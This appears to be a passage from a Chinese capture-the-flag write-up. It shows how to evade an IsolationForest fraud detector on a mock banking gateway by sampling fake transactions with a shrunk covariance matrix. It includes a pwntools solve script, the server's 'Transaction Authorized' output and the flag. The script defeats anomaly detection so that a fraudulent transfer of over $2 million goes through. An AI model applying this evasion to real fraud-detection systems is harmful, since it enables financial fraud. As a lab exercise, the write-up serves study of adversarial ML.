$$ f(x) = \frac{1}{\sqrt{(2\pi)^k |\Sigma|}} \exp\left(-\frac{1}{2}(x-\mu)^T \Sigma^{-1} (x-\mu)\right) $$
即使是符合正态分布的数据,落在 3$\sigma$ 之外的点依然会被孤立森林认为足够稀少从而判定为异常。因此我们的解题策略是协方差收缩,引入一个收缩因子 $\alpha$ ($0 < \alpha < 1$),将生成的协方差矩阵设为 $\Sigma_{new} = \alpha \Sigma$,这会使得生成的点在保持特征间相关性的同时在空间上极度向均值中心 $\mu$ 收缩。这样生成的数据都位于模型认为正常的区域,这些点的路径长度会达到最大值从而避开警报。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import pandas as pdimport numpy as npfrom pwn import *df = pd.read_csv('public_ledger.csv' ) context.log_level = 'debug' mu = df.mean().values sigma = df.cov().values shrinkage_factor = 0.1 num_samples = 7000 fake_data = np.random.multivariate_normal(mu, sigma * shrinkage_factor, num_samples) gen_df = pd.DataFrame(fake_data, columns=[f'feat_{i} ' for i in range (20 )]) total_amount = gen_df['feat_0' ].sum () print (f"预估总金额 ${total_amount:.2 f} " )io.recvuntil(b"Waiting for CSV Data Stream (End with 'EOF')..." ) io.send(gen_df.to_csv(index=False ).encode('utf-8' )) io.send(b"\nEOF\n" ) io.interactive()
得到返回:
1 2 3 4 5 6 7 8 9 10 11 12 13 [--- SECURE BANKING GATEWAY v4.0 ---] Task: Transfer > $2,000,000.00 Security: IsolationForest (Strict Mode) Constraints: 1. No Transaction can be classified as Anomaly (-1). 2. No Replay Attacks (Public data is blacklisted). 3. No Duplicate Transactions. ------------------------------------- Waiting for CSV Data Stream (End with 'EOF')... [-] Analyzing Statistical Distribution... Report: Value=$2,474,525.36 | Anomalies=0/7000 [SUCCESS] Transaction Authorized. Flag: "flag{79081194-427f-4d3b-ae5d-7dce04fe5a90}"
FLAG 1 flag{79081194-427f-4d3b-ae5d-7dce04fe5a90}